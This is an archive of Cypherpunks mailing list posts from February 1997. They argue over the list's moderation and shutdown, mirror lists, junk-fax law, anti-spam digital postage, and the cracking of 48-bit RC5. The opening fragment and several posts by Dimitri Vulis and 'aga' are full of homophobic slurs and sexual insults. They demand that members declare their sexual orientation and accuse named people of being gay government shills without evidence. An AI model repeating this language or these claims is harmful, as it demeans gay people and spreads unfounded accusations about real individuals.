> So if I follow your argument, gays created and run usenet, and have

Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created
Usenet. (That is, some of the people who created Usenet may well have been
sexually attracted to people of the same sex in real life - I don't have a
problem with that - but none of them were "Usenet faggots" who tried to
suppress free speech). Now the homos, who ruined Fidonet through
censorship and UDP-like wars, are trying to take over Usenet with the same
disasterous results.

> also ruined it thus far.  Can you just clarify a few points?  I'm
> trying to follow your premise here [which I don't necessarily
> believe], and it seems contradictory.
>
>   * If gays ruined usenet, does that mean at one point usenet was a
>     good thing before it was ruined?  If so, gay people at least
>     deserve credit for creating something good, even if they didn't
>     manage to run it well.

Suppose for argument's sake that the people who created Usenet all
happened to be gay. Why would "gay people" as a whole, most of whom
had nothing to do with it, deserve credit for it?

>   * If Usenet was created and ruined by terrible people, what exactly
>     is your interest in it?  Why don't you just create an alternate
>     news network.  You can easily do this using software these gay
>     people have so graciously given you the source for, and then you
>     could be the authority over the entire heterosexual news
>     hierarchy.

We were here first. I've been on Usenet for > 10 years, before most of the
scum that's trying to ruin it now. Besides, the homos will try to ruin any
alternative forum they think is used by their "enemies". Look how they've
been flooding the freedom-knights mailing list with shit.

>   * If people you consider gay can't hold any position of authority on
>     the internet, why do you acknowledge their authority by trying to
>     fight them in particular?  I mean, what authority do these gay
>     people have over a gay, ruined usenet that's so important you need
>     to rip new assholes in them?
>
> I just don't understand whom you are fighting over what and why.

Good question. I'm fighting against _actions that suppress speech - such
as complaints to postmasters that result in plug-pulling; or forged cancels.
If false complaints were universally ignored - cancels junked, postmaster
complaints junked, as they should be, then these actions would be just
speech, therefore not worthy of suppression. I don't want the homos to be
silenced, merely rendered impotent to silence others.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 08:35:12 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141704.JAA03249@netcom10.netcom.com>
Message-ID: <3305E540.58@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Mike Duvos wrote:
> John Gilmore <gnu@toad.com> writes:
> [Fluffy Gilmore apologia by Declan expunged]
> Two small points.
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 2.  The article fails to mention Gilmore's new nickname. :)

I'm so disgusted by the other disinformation put out by John's loyal
friends (i.e. "respected" cypherpunks) on the subject of "disrupters
and sociopaths", etc. that I try not to reply to any of the crud I
see posted by those clowns.  But when someone tries to be reasonable,
conversation is possible.  So how about some points on "disrupters":

1. Disrupters don't like bullies.
2. Disrupters don't like mindless authorities.
3. Disrupters don't like control freaks.
4. Disrupters don't like liars and hypocrites.
5. Disrupters don't like NSA/CIA/DEA/FBI trolls.
6. Disrupters don't like Animal Farm policies and elitists.

In short, if Gilmore had come down on the real problem people once
in a while, they wouldn't have agitated the "disrupters" nearly as
much as they did.  But he wasn't about to do that, because he's one
of the problem people himself.  Fooey on you, Gilmore.  May you never
work in this business again.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:07:32 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <3305E7F8.8DD@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk wrote:
> I do not begin to believe this is correct.  I happen to believe that
> sexism, not in the sense of believing women inferior but in the sense
> of believing homosexuals inferior can be, in some instances, a form
> of bigotry but it is merely a matter of semantics and not of interest.
> I wholeheartedly agree with the last point, anybody who believes in
> any form of deity or higher being (call it god if you like) is, IMHO,
> a fool. However, this has proven in history to be contradicted on a
> number of occasions, for example, Albert Einstein was a Jew but did
> not just accept without enquiry, rather, his religious views were
> subtle and well thought through.

I thought Einstein's ideas on social matters (incl. religion) were
naive and sentimental.  There's a difference in saying "I believe
there's a God" and "I believe in a God".  Of course, either way one
could be implying a hidden or unspecified set of agendas concomitant
with such a belief.

In the movie "Jesus Of Nazareth" is a classic example of why to
believe or not believe in a religion, i.e. things unseen:

At the end, the followers are in a small room, fearing for their
safety and all, and they say to Jesus "how is anyone going to
believe all this stuff" (or words to that effect), and Jesus replies
"because you are my witnesses.  Tell them and they will believe".

See how simple that was?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 15 Feb 1997 06:10:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <1.5.4.32.19970215140414.006bbd64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-15-97. NYP:

"Phone Companies Balk At Latest Plan by FBI." Markoff.

   Telcos are arguing that the new system will be far more
   intrusive and expensive than industry first thought, and
   would expand LEA wiretap capabilities 100-fold. "This is
   kind of scary. What does the FBI know about our future
   that we don't?"

-----

FBI_100

----------

See the FBI's latest wiretap plan at:

   http://jya.com/fbi011497.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 07:20:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Switching to full traffic mode
Message-ID: <199702151516.JAA16655@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I would like to warn and ask subscribers of cypherpunks@algebra.com.

We are going ot get full feel from Lance Cottrell and
cypherpunks-unedited@toad.com.

We will filter messages by Message-ID to get rid of duplicates.

It means that there is no sense (unless you want to confirm my integrity
as the list host) to be subscribed to any of the other lists, as you 
will be getting multiple copies of messages.

If you are afraid of that and use Unix, the following procmail recipe 
gets rid of duplicates:

#
# This recipe removes duplicates!
#
:0 Wh: msgid.lock
| formail -D 32768 msgid.cache

I am somwehat concerned by the behavior of my majordomo which is
very paranoid about incoming messages: it rejects all messages that
it THINKS are attempts to suscribe and unsuscribe. In this rejection, 
it is sometimes too broad. I do not know how to solve this problem.

ATTENTION: if you want to get a feed from me, PLEASE send me a note and
do not simply subscribe your mailing list to cypherpunks@algebra.com. It
is because I want to send you the messages before my majordomo rewrites
headers.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 15 Feb 1997 07:39:20 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <ND062D35w165w@bwalk.dm.com>
Message-ID: <199702151534.JAA16830@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> Gilmore proposes useless projects like S/Wan and misguided people waste
> their time and effort instead of deploying crypto.

What is wrong with S/WAN? I think that it is a great project.

> And we already know that Peter Berger is a faggot because he suppresses
> free speech on Usenet.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:36:59 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.BSD/.3.91.970214145431.9409A-100000@mrburns.iosphere.net>
Message-ID: <3305F412.3F4C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do
> whatever it is, and IMHO are more likely to try harder.
> - I wonder whether the garage owners have any preference.  In my military
> experience (Signals officer), the (older male) sergeants and chiefs, when
> given a choice, preferred female radar / radio technicians to male
> because, in general, they were harder working, had thicker skins, and were
> more pleasant to deal with.

I love working with girls, regardless of the job. I personally prefer
the ones who don't suck up to "the guys", and who don't subscribe to
what society prefers girls should do or look like.  Unfortunately,
most offices won't hire them unless they conform in ways that I feel
are offensive, so the really independent ones wind up mainly in low-
paying jobs or going it alone (i.e., driving a truck).

Nothing wrong with driving a truck, of course, but it would be nicer
still if they could co-exist alongside males in the majority of
workplaces without having to do female role-playing.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:39:29 -0800 (PST)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <3305F4B8.4F8D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Ok. I'll "put up".
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

You have my vote.  And any help I can provide, within my limits.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Feb 1997 07:33:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <Pine.LNX.3.95.970215071920.29361D-100000@dhp.com>
Message-ID: <ND062D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> On Fri, 14 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Date: Fri, 14 Feb 97 22:30:27 EST
> > From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> > Reply-To: freedom-knights@jetcafe.org
> > To: cypherpunks@toad.com, freedom-knights@jetcafe.org
> > Subject: Re: Dave Hayes takes over Cypherpunks
> >
> > Toto <toto@sk.sympatico.ca> writes:
> >
> > > aga wrote:
> > > > How about that we require everybody to state their sex and sexual
> > > > orientation in the future, so we have no future problems.
> > > > I am a "Male Heterosexual" -- what about the rest of you?
> > > > If you refuse to answer, you are presumed to be a gay boy who
> > > > is hiding it.
> > >
> > >  I am a "Male, Cross-Dressing Heterosexual."
> >
> > I'm a male heterosexual.
> >
> > Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
>
> Now wait a minute.  You mean the National Security Agency?
> If so, then Inman is probably not a faggot.  The military runs
> that and they do not take faggots.  NSA is where I got my Top
> Secret Crypto clearance from back in 1967.  Back then, all "crypto"
> involved was the changing of about 28 wires each day in the old KL-7.
>
> I remember the G2 government investigator asking me if I had ever had
> any homosexual relationships.  Homosexuals are taboo as far as
> clearances are concerned, because they are considered to be "at risk"
> characters from the get-go.

For what it's worth, the NSA, the CIA, and the State Department are
will of faggots. Being a faggot and sucking the right cocks is a way
to advance one's career at the NSA. Everyone knew Bobby was a faggot
and everybody he hired was a faggot too.

> > John Gilmore is a U.S.Government shill out to suck resources into
> > fruitless flame war and to sabotage our efforts to deploy crypto.
>
> "shill?" -- shit, I am going to have to get my dictionary out.

Gilmore's job is to suck us into wasting time on debates over Gilmore's
dishonorable actions instead of working on worthwhile projects like
my spambot or reviving the anon server. Gilmore is an "agent-provocateur".

Gilmore proposes useless projects like S/Wan and misguided people waste
their time and effort instead of deploying crypto.

> > What about Timmy May and Eric Hughes? Are they faggots in U.S.G.
> > employ or mere mindless dupes?
>
> If these guys are faggots, they must not be working for the U.S. Govt.
> Federal policy does not grant Top Secret or above clearances to
> homosexuals, I do believe.  At least the military doesn't.

The NSA is full of faggots. Also the CIA and the State Departments use
faggots to fuck and suck foreign diplomats. The whole Klintoris
administration is full of faggots.

> But the question here is, are they really faggots?
>
> Let's see how they answer that.  And remember, under our new protocol,
> if you do not answer and say you are heterosexual, you are a -default-
> faggot.  I want to hear what Peter Berger says.

I'd like to know too. Eric Hughes doesn't look like a faggot, but looks
can be deceiving.

And we already know that Peter Berger is a faggot because he suppresses
free speech on Usenet.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:45:24 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142157.PAA02906@manifold.algebra.com>
Message-ID: <3305F615.BBB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dave Hayes wrote:
> > Ok. I'll "put up".
> > If the cypherpunks will have me, -I'll- run the cypherpunks
> > list. Those that know me know that I will *not* censor, moderate, or
> > otherwise alter the content (other than the stuff majordomo does with
> > "resend") of any messages to the list.

> I think that it is a great idea. If you want to contribute to the
> effort to keep the list, this is great. You could join the network of
> other cypherpunks mailing lists.
> There is a small list for discussing these networking issues,
> cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> se, but rather for discussing how we proceed with these lists.

If I understood the last several hundred messages correctly, they have
tried to make the point that the cypherpunks mailing list (unedited)
was more ideal than a newsgroup.  If this is what Dave is offering,
I'm surprised if more people don't jump on it.  Then again, they
took their good ol' time jumping onto cypherpunks-unedited.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sat, 15 Feb 1997 09:47:46 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151747.JAA27981@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote:
>
...
>if cpunks had a formal way of making decisions, and some loyalty
>to each other, instead of BAILING OUT at the slightest difficulty,
>perhaps the situation would be different, eh? see how quickly people
>who were once friends simply WALK OUT on each other in the cryptoanarchist
>approach? where is the loyalty? the sense of working for the greater
>good? it's gone. TCM simply ABANDONS the list at the first opportunity,
>and ignores the years of hard work that J.G. has put into it.
...
Not everyone has "bailed out".  Amid the flotsam and jetsam of the sinking
list, Igor Chudov Firebeard, and others have begun to fashion a trimaran.
If they finish before the old vessel finally sinks in the storm, then we
will have a ship more difficult to capsize.  Others are anchoring that half
finished craft to the great floating city/state Usenet.  Still others are
scheming as to the best way to keep the self appointed police from cutting
the little craft adrift.

No, we would have "bailed out" if we had each sit still to let our
subscriptions run out.  More will "go down with the ship", arguing against
the shutdown right up to the day when the list is finally eliminated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 09:53:25 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <3305F7F9.2BD2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Vin McLellan wrote:
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

Tim May writes that the disruptors "won".  I say they didn't "win"
anything.  Truth is, the old, feeble, senile, stupid, and generally
ignorant Gilmore/Sandfort team just gave up, because they're too
much in bed with the establishment now to rock any more boats.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sat, 15 Feb 1997 09:49:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: 48-bit RC5 code broken [fwd]
Message-ID: <v02140b00af2ba8312422@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 14 Feb 1997 8:02:49 PST
From: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: 48-bit RC5 bites the dust

In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the
40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge
posed on 28 Jan 1997.  The second step was taken on 10 Feb 1997 by Germano
Caronni, a graduate student at the Swiss Federal Institute of Technology.
Caronni (with a lot of help from his friends) has recovered the key for text
encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an
peak rate of 1.5 trillion keys searched per hour, over a period of 312
hours.  A press release from RSA (given some circulation in the media) on
gives some details.  Close to the median expected effort, about 57% of the
key space was exhausted.  The Caronni team is now working on the next
challenge, RC5-56.  It is easy to clone yourself through virtual
replication.  [In this case, the team has a lot of Caronnis!]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 10:04:27 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: More on digital postage
Message-ID: <199702151802.KAA22867@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/15/97 -0600, snow wrote:
>Mr. Bell wrote:
>> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>> >Tim may says:
>> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>> >>violations of the First Amendment. I understand why the herd _wants_ these
>> >>laws, as it reduces the costs involved in replacing fax paper, running to
>> >>the telephone only to find someone trying to sell something, etc., but it
>> >>is quite clearly a prior restraint on speech, however well-intentioned.
>> >I have to disagree here.  The junk fax law is a restraint on unauthorised
>> >use of property, i.e. *my* fax machine, *my* phone, etc. 
>> However, you connect that fax machine to a phone line, when you know full 
>> well that should it be enabled to do so, it will automatically pick up the 
>> phone when it "hears" a ring, and will print out a fax based on information 
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone 
>to come wandering in to my home. Is it legal, just because I have my 
>home hooked to the street, for someone to come in and help themselves to 
>a beer out of my fridge?

No, you're taking the issue to ridiculous extremes.    That's why we have 
doors, and locks, etc.  And, for that matter, "No trespassing" signs.  


But having an address, and a walkway, and a doorbell is generally considered 
if not explicit permission, but at least toleration of the idea that 
somebody can walk up and knock on the door, etc.  Having a telephone with a 
number that anyone can dial is going to result in some level of intrusion.  
Having a fax machine is a similar issue, unless technology provides a way to 
block unwanted faxes.

I certainly don't claim that we shouldn't try to do anything about these 
limitations!  Quite the opposite, technology should be employed to protect 
privacy.  But faxes are not fundamentally different than telephones, 
doorbells, and walkways:  They facilitate interaction, even potentially 
undesirable interaction.


>	Nope. Sure I realize that they _can_, but that doesn't make it right,
>and it doesn't make it legal. 

"Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
bunch of brainless legislators get together and disapprove.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:04:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
In-Reply-To: <199702142057.MAA06000@netcom10.netcom.com>
Message-ID: <3305FA8F.3B5D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> what TCM continues to stick his head in the sand over
> is the fact that the list noise levels have gotten outlandishly
> out of control over recent times, far beyond anything in memory.
> what is it due to?

"Out of control" says it all, don't you think?  (as in "control
freaks", that is).

> it appears that there is a basic law of cyberspace that S/N decreases
> as you add more people. it seems to be a very obvious and repeatable
> property.

No, it decreases rapidly when your forum more-or-less suddenly
becomes a hot item on the web.  If it weren't hot, nobody would
bother, believe me.

> there are some significant lessons about cryptoanarchy that are
> completely evading TCM. how well does anarchy scale? apparently, not
> well. TCM would like to pretend that just deleting posts and having
> outsider filterers is a "solution" to the problem and argues for
> business as usual, upholding the status quo.

"Scale" is a term used by controllers.

> the problem is that when you have a deteriorating situation, the
> status quo is not a valid concept. keeping the status quo means
> further deterioration.

Look at the big picture.  Some people have proposed unacceptable
methods for controlling human population, and it should be no
surprise that the same mentality would pervade these forums.

> TCM also fails to address the problem of AGENT PROVOCATEURS. the
> cyberspace list is intensely fragile and susceptible/ vulnerable
> to them as Vulis demonstrates. it only takes ONE and a lot of
> tentacles. does TCM propose a solution to this? no, of course not,
> because he has a blind spot when it comes to realizing the
> PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

Unless, of course, the forum itself (and its proponents) are
themselves the "agent provocateurs".

> if cpunks had a formal way of making decisions, and some loyalty
> to each other, instead of BAILING OUT at the slightest difficulty,
> perhaps the situation would be different, eh? see how quickly people
> who were once friends simply WALK OUT on each other in the cryptoanarchist
> approach? where is the loyalty? the sense of working for the greater
> good? it's gone. TCM simply ABANDONS the list at the first opportunity,
> and ignores the years of hard work that J.G. has put into it.

Loyalty?  Amongst anarchists?  Two points: Loyalty on c-punks was
almost entirely a negative factor (i.e., sucking up to Gilmore).
Two, Tim May is for Tim May (as he should be), and he didn't abandon
his ideals one bit, which is a helluva lot more to say for him than
Gilmore or Sandfort.

> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
> the logical conclusion of your views playing out before you. acrimony,
> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

Perhaps you should turn your talents to writing country songs.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Sat, 15 Feb 1997 10:36:46 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702150843.AAA07793@toad.com>
Message-ID: <970215.101958.0t3.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ichudov@algebra.com writes:

> My opinion on this: I personally feel that this scheme is the way to 
> go for spammers. Obviously, it is possible to build mail readers that 
> would verify some kind of trusted signature on the attached postage, and
> would highlight all such messages. The meaning of signature is "these
> people are not crooks, there really is an encrypted dollar there".

I much prefer the plan where a potential mail correspondant includes an
e-cash dollar directly cashable by me.  If I like the mail (and the
sender), I throw the dollar away and the sender goes on the approved
list.  If not, I keep the dollar, and the sender goes on the twit list.
Paper junk mail costs an advertiser more than $1 per piece, so they'd
still be getting a bargain.  And potentially, some receivers may throw
away the dollar and welcome the spam.

> Clearly, spammers who pay their readers to read their messages (and who
> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.

It should also spur development of intelligent agents which can retrieve
this cash without human intervention.  Spammers will doubtless alter
their pages to require more interaction to find the key to the cash.
Then the IA's will be improved.  Then... remember the copy protection
wars?  This isn't necessarily a negative point.

> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

Or that the money wasn't there in the first place (absent a trusted
signature system), or the key doesn't exist, or the wrong key is
offered, or the sender put the same e-dollar on all 60000 mails sie
sent and it's already been redeemed.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI
IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn
NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r
sxju8mXi8N0=
=4Skg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0019.myriad.ml.org (Matthew Ghio)
Date: Sat, 15 Feb 1997 07:23:45 -0800 (PST)
To: alt.cypherpunks@myriad.alias.net
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <199702142356.PAA18079@toad.com>
Message-ID: <199702151521.KAA23910@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]
> 
> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 
> Most people worth talking to have enough of a clue to replace [at] with @.


Actually, I have a completely valid email address in this post (for now).
If it gets spammed I will just delete the DNS record.  (or maybe point
it back at the spammer. :)

And I'm sure we all know how to use remailers...




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Feb 1997 07:28:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mirrors and replies-to
Message-ID: <v03020908af2b83b6280d@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for
algebra, and one for toad. It was interesting to me that I got stuff from
the mirrors faster than toad until I remembered that the mirrors are wired
to the unmoderated list at toad, and I'm still subscribed to the moderated
list there.

However, I would like it if the mirror operators would reinstantiate a
feature of the original list for me. The reply-to field on the mirrors is
currently set to cypherpunks@toad.com. On the original list, this was set
to "sender", both to keep people from replying to the list unnecessarily
(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
big problem, especially when you guys put together your neo-netnews
mailring. (a little jyaism, that... :-)).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:28:14 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Dave Hayes takes over Cypherpunks
In-Reply-To: <g0D62D28w165w@bwalk.dm.com>
Message-ID: <33060022.3439@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > aga wrote:
> > > How about that we require everybody to state their sex and sexual
> > > orientation in the future, so we have no future problems.
> > > I am a "Male Heterosexual" -- what about the rest of you?
> > > If you refuse to answer, you are presumed to be a gay boy who
> > > is hiding it.

> Cocksucker John Gilmore is a faggot. So is his boss Bobby Inman from NSA.
> John Gilmore is a U.S.Government shill out to suck resources into
> fruitless flame war and to sabotage our efforts to deploy crypto.

Remember when Bush barfed on the Japanese guys?  I thought Inman's
performance on TV after losing the nomination was even more
embarrassing.

When Inman was first nominated, I was reading about it in the L.A.
Times they provide at McDonalds, while waiting patiently in line for
the great American meal.  When I saw who it was, I pulled out my
165 mb pocket computer and looked him up, and showed everyone else
who were standing in line who this guy really was.  The reaction
in that line alone was a good predictor of what was to come for
the "admiral".  Hopefully some day the EFF putzes will come to an
equally glorious end.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 10:43:36 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <5Pe62D30w165w@bwalk.dm.com>
Message-ID: <330601D0.2E5C@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > Omegaman wrote:
> >   Did anyone notice the 'pun' in Declan's subject header?
> >   "A List Goes Down In FLAMES"
> >   Did Declan notice it?
> >   My theory is that the news/press that we consume from our media-feeders
> > starts around a 'catchy' headline, from which the press then builds a
> > story to highlight their puns.

> The whole list?
> Or just Gilmore goes down on Sandfart and Sandart goes down on Parekh
> and Parekh goes down on Gilmore - like a daisy chain?

Just look at the farce they called "the O.J. case", or how about all
those pretty logos they displayed every night on TV for "the Gulf War".

I can't wait until they get ahold of this one, and tell (er,
regurgitate)
it back to us as "news".

BTW, did you ever try (recently) to resuscrive to any of the c-punks
lists, just for fun (hee hee)?  Be interesting to know if Gilmore's
computers have time to screen that out with all the other processes
they must be crunching.

BTW2, in the current issue of WWWiz, one of the columnists printed
my semi-lengthy article on the history of PC's.  Check it out at
wwwiz.com.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:43:39 -0800 (PST)
Subject: Welcome
Message-ID: <199702151039.KAA03924@diacenter.org>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org




